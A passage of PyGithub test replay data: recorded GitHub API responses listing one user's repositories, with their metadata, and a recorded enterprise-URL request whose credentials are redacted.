GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Enterprise.testLongUrl.txt0000644000175100001660000004640014756101563023324 0ustar00runnerdockerhttp GET my.enterprise.com None /path/to/github/user/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"http://my.enterprise.com/path/to/github/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"